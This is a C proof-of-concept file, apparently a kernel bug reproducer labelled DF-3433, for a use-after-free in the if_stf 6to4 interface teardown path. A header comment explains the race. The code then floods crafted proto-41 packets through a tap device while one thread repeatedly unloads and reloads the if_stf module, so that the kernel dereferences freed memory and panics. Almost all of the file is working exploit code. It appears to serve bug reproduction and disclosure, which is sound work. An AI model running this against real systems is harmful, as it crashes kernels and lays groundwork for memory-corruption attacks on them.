DF-3433 / stf_async_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | /* * DF-3433 - if_stf teardown use-after-free on the ASYNC decap path. * * in_stf_input() (if_stf.c:543-631) decapsulates a matched proto-41 packet * and hands it to the IPv6 netisr: * * m->m_pkthdr.rcvif = ifp; // == &sc->sc_if (:611) * m->m_flags &= ~M_HASH; * netisr_queue(NETISR_IPV6, m); // ASYNC (:629) * * The queued mbuf carries a RAW pointer into the stf_softc with no * reference. kldunload if_stf -> stfmodevent(MOD_UNLOAD) (if_stf.c:210-224) * if_detach()es the ifnet (freeing if_afdata etc.), encap_detach()s, * kfrees route_pcpu and the softc itself, and the module text is unmapped -- * with no serialization against the netisr that is about to run ip6_input() * on the queued packets. The v6 input path immediately does * * in6_ifstat_inc(m->m_pkthdr.rcvif, ifs6_in_receive) (ip6_input.c) * -> ((struct in6_ifextra *)ifp->if_afdata[AF_INET6])->in6_ifstats * * i.e. reads if_afdata (freed by if_detach) out of the freed softc and * WRITES through it. The queue backlog (attack-controlled flood depth) * makes the window arbitrarily wide -- this is not a sub-microsecond race. * * To make the UAF deterministic on the INVARIANTS guest we enable * debug.use_weird_array=1 (kern_slaballoc.c:1566-1571): kfree() poisons the * first 64 bytes of freed chunks with 0xdeadc0de, so the post-free * afdata/stat dereference lands at 0xdeadc0de... -> Fatal trap 12. * * Setup (root, see bouncer): tap0 10.99.0.1/24 as the v4 anchor; * stf0 inet6 2002:0a63:0001::1/16 (v4 part 0a63:0001 == 10.99.0.1) makes * stf_encapcheck() accept outer dst 10.99.0.1 (if_stf.c:274-290). * Injected frames: eth->outer IPv4 src 10.99.0.2 dst 10.99.0.1 proto 41 * -> inner IPv6 (dst local 6to4 addr, nexthdr 59). * Bounce thread: kldunload/kldload if_stf + re-configure stf0 each cycle. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/sockio.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> static unsigned char tapmac[ETHER_ADDR_LEN]; static volatile unsigned long n_flood, n_cyc, n_err; static volatile int stop; static void put16(unsigned char *p, unsigned short v) { p[0] = v >> 8; p[1] = v & 0xff; } static void put32(unsigned char *p, uint32_t v) { put16(p, v >> 16); put16(p + 2, v & 0xffff); } static unsigned short cksum(unsigned short *p, int nwords) { unsigned long sum = 0; while (nwords-- > 0) sum += *p++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum); } static void * flood(void *arg) { unsigned char pkt[14 + 20 + 40]; /* eth + outer v4 + inner v6 */ struct ether_header *eh; int fd = *(int *)arg; memset(pkt, 0, sizeof(pkt)); /* ---- ethernet: from the "6to4 peer" to us. * tap MACs are randomized per create and the SIOCGIFADDR plumbing is * unreliable across tap recreations; broadcast dst is always accepted * by ether_input and the IP dst (10.99.0.1, our local addr) delivers. */ eh = (struct ether_header *)pkt; memset(eh->ether_dhost, 0xff, ETHER_ADDR_LEN); eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00; eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00; eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02; put16(&pkt[12], ETHERTYPE_IP); /* ---- outer IPv4: 10.99.0.2 -> 10.99.0.1, proto 41 ---- */ put16(&pkt[14], 0x4500); /* v4, ihl 5, tos 0 */ put16(&pkt[16], 20 + 40); /* total len */ put16(&pkt[18], 0); /* id */ put16(&pkt[20], 0); /* frag */ pkt[22] = 64; /* ttl */ pkt[23] = 41; /* IPPROTO_IPV6 */ /* cksum filled per-packet below */ put32(&pkt[26], 0x0a630002); /* src 10.99.0.2 */ put32(&pkt[30], 0x0a630001); /* dst 10.99.0.1 */ put16(&pkt[24], cksum((unsigned short *)&pkt[14], 10)); /* ---- inner IPv6: 2002:a63:2::1 -> 2002:a63:1::1, no-next-hdr ---- */ put32(&pkt[34], 0x60000000); /* flow 0 */ put16(&pkt[38], 0); /* plen 0 */ pkt[40] = 59; /* no next header */ pkt[41] = 64; /* hlim */ /* src 2002:0a63:0002::1 */ put16(&pkt[42], 0x2002); put16(&pkt[44], 0x0a63); put16(&pkt[46], 0x0002); /* dst 2002:0a63:0001::1 (LOCAL 6to4 addr on stf0) */ put16(&pkt[58], 0x2002); put16(&pkt[60], 0x0a63); put16(&pkt[62], 0x0001); while (!stop) { if (write(fd, pkt, sizeof(pkt)) < 0) { perror("write tap0"); usleep(1000); n_err++; } else n_flood++; } return NULL; } static void * bouncer(void *arg) { /* unload (frees softc while the v6 netisr may hold queued decaps), * reload + re-configure the 6to4 address so encapcheck matches again */ while (!stop) { if (system("kldunload if_stf") == 0) { n_cyc++; if (system("kldload if_stf") == 0) { if (system("ifconfig stf0 inet6 " "2002:0a63:0001::1/16") != 0) n_err++; } else n_err++; usleep(20000); /* configured window for floods */ } else n_err++; } system("kldunload if_stf"); return NULL; } int main(int argc, char **argv) { pthread_t th[3]; int tapfd, i, secs = argc > 1 ? atoi(argv[1]) : 120; /* single-opener device: open once, share across flood threads */ tapfd = open("/dev/tap0", O_RDWR); if (tapfd < 0) { perror("open /dev/tap0"); return 1; } for (i = 0; i < 2; i++) pthread_create(&th[i], NULL, flood, &tapfd); pthread_create(&th[2], NULL, bouncer, NULL); printf("racing: 2 tap floods + stf kldunload/kldload bounce\n"); for (i = 0; i < secs; i += 10) { sleep(10); printf("t+%ds: flood=%lu unload_cyc=%lu err=%lu\n", i + 10, n_flood, n_cyc, n_err); fflush(stdout); } stop = 1; for (i = 0; i < 3; i++) pthread_join(th[i], NULL); printf("done (no panic): flood=%lu unload_cyc=%lu err=%lu\n", n_flood, n_cyc, n_err); return 0; } |